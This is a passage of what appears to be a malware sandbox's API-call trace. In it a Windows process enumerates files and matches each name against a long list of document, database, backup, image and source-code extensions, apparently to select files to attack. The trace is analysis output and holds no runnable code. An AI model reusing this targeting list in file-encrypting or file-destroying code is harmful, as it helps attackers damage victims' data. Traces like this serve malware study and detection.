lpString2=".dll") returned 1 [0082.716] lstrlenW (lpString=".ppsm") returned 5 [0082.716] lstrcmpiW (lpString1=".ppsm", lpString2="5.dll") returned -1 [0082.716] lstrlenW (lpString=".ppt") returned 4 [0082.716] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.716] lstrlenW (lpString=".pptm") returned 5 [0082.716] lstrcmpiW (lpString1=".pptm", lpString2="5.dll") returned -1 [0082.716] lstrlenW (lpString=".pptx") returned 5 [0082.716] lstrcmpiW (lpString1=".pptx", lpString2="5.dll") returned -1 [0082.716] lstrlenW (lpString=".prn") returned 4 [0082.716] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0082.716] lstrlenW (lpString=".ps") returned 3 [0082.716] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0082.716] lstrlenW (lpString=".psb") returned 4 [0082.716] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0082.716] lstrlenW (lpString=".psd") returned 4 [0082.716] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0082.716] lstrlenW (lpString=".pst") returned 4 [0082.716] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0082.716] lstrlenW (lpString=".ptx") returned 4 [0082.716] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0082.717] lstrlenW (lpString=".pub") returned 4 [0082.717] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0082.717] lstrlenW (lpString=".pwm") returned 4 [0082.717] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0082.717] lstrlenW (lpString=".pxr") returned 4 [0082.717] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0082.717] lstrlenW (lpString=".py") returned 3 [0082.717] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0082.717] lstrlenW (lpString=".qt") returned 3 [0082.717] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0082.717] lstrlenW (lpString=".r3d") returned 4 [0082.717] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0082.717] lstrlenW (lpString=".raf") returned 4 [0082.717] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0082.717] lstrlenW (lpString=".rar") returned 4 [0082.717] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.717] lstrlenW (lpString=".raw") returned 4 [0082.717] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1 [0082.717] lstrcmpiW (lpString1=".rdf", lpString2=".dll") returned 1 [0082.718] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0082.718] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0082.719] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0082.720] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0082.720] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0082.720] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0082.720] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0082.721] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0082.721] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0082.721] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0082.721] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0082.721] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0082.722] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0082.722] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0082.722] FindClose (in: hFindFile=0x39742f0 | out: hFindFile=0x39742f0) returned 1 [0082.722] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f2a088 | out: hHeap=0x5b0000) returned 1 [0082.722] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f58c | out: lpFindFileData=0x354f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0082.722] lstrlenW (lpString="DirectDB.dll") returned 12 [0082.722] lstrlenW (lpString=".1cd") returned 4 [0082.722] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.722] lstrlenW (lpString=".3ds") returned 4 [0082.722] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0082.723] lstrlenW (lpString=".3fr") returned 4 [0082.723] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0082.723] lstrlenW (lpString=".3g2") returned 4 [0082.723] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0082.723] lstrlenW (lpString=".3gp") returned 4 [0082.723] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0082.723] lstrlenW (lpString=".7z") returned 3 [0082.723] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.723] lstrlenW (lpString=".accda") returned 6 [0082.723] lstrcmpiW (lpString1=".accda", lpString2="DB.dll") returned -1 [0082.723] lstrlenW (lpString=".accdb") returned 6 [0082.723] lstrcmpiW (lpString1=".accdb", lpString2="DB.dll") returned -1 [0082.723] lstrlenW (lpString=".accdc") returned 6 [0082.723] lstrcmpiW (lpString1=".accdc", lpString2="DB.dll") returned -1 [0082.723] lstrlenW (lpString=".accde") returned 6 [0082.723] lstrcmpiW (lpString1=".accde", lpString2="DB.dll") returned -1 [0082.723] lstrlenW (lpString=".accdt") returned 6 [0082.723] lstrcmpiW (lpString1=".accdt", lpString2="DB.dll") returned -1 [0082.723] lstrlenW (lpString=".accdw") returned 6 [0082.723] lstrcmpiW (lpString1=".accdw", lpString2="DB.dll") returned -1 [0082.723] lstrlenW (lpString=".adb") returned 4 [0082.723] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0082.723] lstrlenW (lpString=".adp") returned 4 [0082.723] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0082.723] lstrlenW (lpString=".ai") returned 3 [0082.724] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0082.724] lstrlenW (lpString=".ai3") returned 4 [0082.724] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0082.724] lstrlenW (lpString=".ai4") returned 4 [0082.724] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0082.724] lstrlenW (lpString=".ai5") returned 4 [0082.724] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0082.724] lstrlenW (lpString=".ai6") returned 4 [0082.724] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0082.724] lstrlenW (lpString=".ai7") returned 4 [0082.724] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0082.724] lstrlenW (lpString=".ai8") returned 4 [0082.724] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0082.724] lstrlenW (lpString=".anim") returned 5 [0082.724] lstrcmpiW (lpString1=".anim", lpString2="B.dll") returned -1 [0082.724] lstrlenW (lpString=".arw") returned 4 [0082.724] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0082.724] lstrlenW (lpString=".as") returned 3 [0082.724] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0082.724] lstrlenW (lpString=".asa") returned 4 [0082.724] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0082.724] lstrlenW (lpString=".asc") returned 4 [0082.724] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0082.724] lstrlenW (lpString=".ascx") returned 5 [0082.724] lstrcmpiW (lpString1=".ascx", lpString2="B.dll") returned -1 [0082.724] lstrlenW (lpString=".asm") returned 4 [0082.724] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0082.725] lstrlenW (lpString=".asmx") returned 5 [0082.725] lstrcmpiW (lpString1=".asmx", lpString2="B.dll") returned -1 [0082.725] lstrlenW (lpString=".asp") returned 4 [0082.725] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0082.725] lstrlenW (lpString=".aspx") returned 5 [0082.725] lstrcmpiW (lpString1=".aspx", lpString2="B.dll") returned -1 [0082.725] lstrlenW (lpString=".asr") returned 4 [0082.725] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0082.725] lstrlenW (lpString=".asx") returned 4 [0082.725] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0082.725] lstrlenW (lpString=".avi") returned 4 [0082.725] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0082.725] lstrlenW (lpString=".avs") returned 4 [0082.725] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0082.725] lstrlenW (lpString=".backup") returned 7 [0082.725] lstrcmpiW (lpString1=".backup", lpString2="tDB.dll") returned -1 [0082.725] lstrlenW (lpString=".bak") returned 4 [0082.725] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0082.725] lstrlenW (lpString=".bay") returned 4 [0082.725] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0082.725] lstrlenW (lpString=".bd") returned 3 [0082.725] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0082.725] lstrlenW (lpString=".bin") returned 4 [0082.725] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0082.725] lstrlenW (lpString=".bmp") returned 4 [0082.725] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0082.725] lstrlenW (lpString=".bz2") returned 4 [0082.725] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.725] lstrlenW (lpString=".c") returned 2 [0082.725] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0082.726] lstrlenW (lpString=".cdr") returned 4 [0082.726] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0082.726] lstrlenW (lpString=".cer") returned 4 [0082.726] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0082.726] lstrlenW (lpString=".cf") returned 3 [0082.726] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0082.726] lstrlenW (lpString=".cfc") returned 4 [0082.726] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0082.726] lstrlenW (lpString=".cfm") returned 4 [0082.726] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0082.726] lstrlenW (lpString=".cfml") returned 5 [0082.726] lstrcmpiW (lpString1=".cfml", lpString2="B.dll") returned -1 [0082.726] lstrlenW (lpString=".cfu") returned 4 [0082.726] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0082.726] lstrlenW (lpString=".chm") returned 4 [0082.726] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0082.726] lstrlenW (lpString=".cin") returned 4 [0082.726] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0082.726] lstrlenW (lpString=".class") returned 6 [0082.726] lstrcmpiW (lpString1=".class", lpString2="DB.dll") returned -1 [0082.726] lstrlenW (lpString=".clx") returned 4 [0082.726] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0082.726] lstrlenW (lpString=".config") returned 7 [0082.726] lstrcmpiW (lpString1=".config", lpString2="tDB.dll") returned -1 [0082.726] lstrlenW (lpString=".cpp") returned 4 [0082.726] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0082.726] lstrlenW (lpString=".cr2") returned 4 [0082.726] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0082.726] lstrlenW (lpString=".crt") returned 4 [0082.726] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0082.726] lstrlenW (lpString=".crw") returned 4 [0082.726] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0082.726] lstrlenW (lpString=".cs") returned 3 [0082.726] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0082.727] lstrlenW (lpString=".css") returned 4 [0082.727] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0082.727] lstrlenW (lpString=".csv") returned 4 [0082.727] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0082.727] lstrlenW (lpString=".cub") returned 4 [0082.727] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0082.727] lstrlenW (lpString=".dae") returned 4 [0082.727] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0082.727] lstrlenW (lpString=".dat") returned 4 [0082.727] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0082.727] lstrlenW (lpString=".db") returned 3 [0082.727] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0082.727] lstrlenW (lpString=".dbf") returned 4 [0082.727] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.727] lstrlenW (lpString=".dbx") returned 4 [0082.727] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0082.727] lstrlenW (lpString=".dc3") returned 4 [0082.727] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0082.727] lstrlenW (lpString=".dcm") returned 4 [0082.727] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0082.727] lstrlenW (lpString=".dcr") returned 4 [0082.727] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0082.727] lstrlenW (lpString=".der") returned 4 [0082.727] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0082.727] lstrlenW (lpString=".dib") returned 4 [0082.727] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0082.727] lstrlenW (lpString=".dic") returned 4 [0082.727] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0082.727] lstrlenW (lpString=".dif") returned 4 [0082.727] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0082.727] lstrlenW (lpString=".divx") returned 5 [0082.727] lstrcmpiW (lpString1=".divx", lpString2="B.dll") returned -1 [0082.728] lstrlenW (lpString=".djvu") returned 5 [0082.728] lstrcmpiW (lpString1=".djvu", lpString2="B.dll") returned -1 [0082.728] lstrlenW (lpString=".dng") returned 4 [0082.728] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0082.728] lstrlenW (lpString=".doc") returned 4 [0082.728] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.728] lstrlenW (lpString=".docm") returned 5 [0082.728] lstrcmpiW (lpString1=".docm", lpString2="B.dll") returned -1 [0082.728] lstrlenW (lpString=".docx") returned 5 [0082.728] lstrcmpiW (lpString1=".docx", lpString2="B.dll") returned -1 [0082.728] lstrlenW (lpString=".dot") returned 4 [0082.728] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0082.728] lstrlenW (lpString=".dotm") returned 5 [0082.728] lstrcmpiW (lpString1=".dotm", lpString2="B.dll") returned -1 [0082.728] lstrlenW (lpString=".dotx") returned 5 [0082.728] lstrcmpiW (lpString1=".dotx", lpString2="B.dll") returned -1 [0082.728] lstrlenW (lpString=".dpx") returned 4 [0082.728] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0082.728] lstrlenW (lpString=".dqy") returned 4 [0082.728] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0082.728] lstrlenW (lpString=".dsn") returned 4 [0082.728] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0082.728] lstrlenW (lpString=".dt") returned 3 [0082.728] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0082.728] lstrlenW (lpString=".dtd") returned 4 [0082.728] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0082.728] lstrlenW (lpString=".dwg") returned 4 [0082.728] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0082.728] lstrlenW (lpString=".dwt") returned 4 [0082.728] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0082.728] lstrlenW (lpString=".dx") returned 3 [0082.729] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0082.729] lstrlenW (lpString=".dxf") returned 4 [0082.729] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0082.729] lstrlenW (lpString=".edml") returned 5 [0082.729] lstrcmpiW (lpString1=".edml", lpString2="B.dll") returned -1 [0082.729] lstrlenW (lpString=".efd") returned 4 [0082.729] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0082.729] lstrlenW (lpString=".elf") returned 4 [0082.729] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0082.729] lstrlenW (lpString=".emf") returned 4 [0082.729] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0082.729] lstrlenW (lpString=".emz") returned 4 [0082.729] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0082.729] lstrlenW (lpString=".epf") returned 4 [0082.729] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0082.729] lstrlenW (lpString=".eps") returned 4 [0082.729] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0082.729] lstrlenW (lpString=".epsf") returned 5 [0082.729] lstrcmpiW (lpString1=".epsf", lpString2="B.dll") returned -1 [0082.729] lstrlenW (lpString=".epsp") returned 5 [0082.729] lstrcmpiW (lpString1=".epsp", lpString2="B.dll") returned -1 [0082.729] lstrlenW (lpString=".erf") returned 4 [0082.729] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0082.729] lstrlenW (lpString=".exr") returned 4 [0082.729] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0082.729] lstrlenW (lpString=".f4v") returned 4 [0082.729] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0082.729] lstrlenW (lpString=".fido") returned 5 [0082.729] lstrcmpiW (lpString1=".fido", lpString2="B.dll") returned -1 [0082.729] lstrlenW (lpString=".flm") returned 4 [0082.729] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0082.729] lstrlenW (lpString=".flv") returned 4 [0082.730] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0082.730] lstrlenW (lpString=".frm") returned 4 [0082.730] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0082.730] lstrlenW (lpString=".fxg") returned 4 [0082.730] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0082.730] lstrlenW (lpString=".geo") returned 4 [0082.730] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0082.730] lstrlenW (lpString=".gif") returned 4 [0082.730] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0082.730] lstrlenW (lpString=".grs") returned 4 [0082.730] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0082.730] lstrlenW (lpString=".gz") returned 3 [0082.730] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0082.730] lstrlenW (lpString=".h") returned 2 [0082.730] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0082.730] lstrlenW (lpString=".hdr") returned 4 [0082.730] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0082.730] lstrlenW (lpString=".hpp") returned 4 [0082.730] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0082.730] lstrlenW (lpString=".hta") returned 4 [0082.730] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0082.730] lstrlenW (lpString=".htc") returned 4 [0082.730] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0082.730] lstrlenW (lpString=".htm") returned 4 [0082.730] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0082.730] lstrlenW (lpString=".html") returned 5 [0082.730] lstrcmpiW (lpString1=".html", lpString2="B.dll") returned -1 [0082.730] lstrlenW (lpString=".icb") returned 4 [0082.730] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0082.730] lstrlenW (lpString=".ics") returned 4 [0082.731] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0082.731] lstrlenW (lpString=".iff") returned 4 [0082.731] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0082.731] lstrlenW (lpString=".inc") returned 4 [0082.731] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0082.731] lstrlenW (lpString=".indd") returned 5 [0082.731] lstrcmpiW (lpString1=".indd", lpString2="B.dll") returned -1 [0082.731] lstrlenW (lpString=".ini") returned 4 [0082.731] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0082.731] lstrlenW (lpString=".iqy") returned 4 [0082.731] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0082.731] lstrlenW (lpString=".j2c") returned 4 [0082.731] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0082.731] lstrlenW (lpString=".j2k") returned 4 [0082.731] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0082.731] lstrlenW (lpString=".java") returned 5 [0082.731] lstrcmpiW (lpString1=".java", lpString2="B.dll") returned -1 [0082.731] lstrlenW (lpString=".jp2") returned 4 [0082.731] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0082.731] lstrlenW (lpString=".jpc") returned 4 [0082.731] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0082.731] lstrlenW (lpString=".jpe") returned 4 [0082.731] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0082.731] lstrlenW (lpString=".jpeg") returned 5 [0082.731] lstrcmpiW (lpString1=".jpeg", lpString2="B.dll") returned -1 [0082.731] lstrlenW (lpString=".jpf") returned 4 [0082.731] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0082.731] lstrlenW (lpString=".jpg") returned 4 [0082.731] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 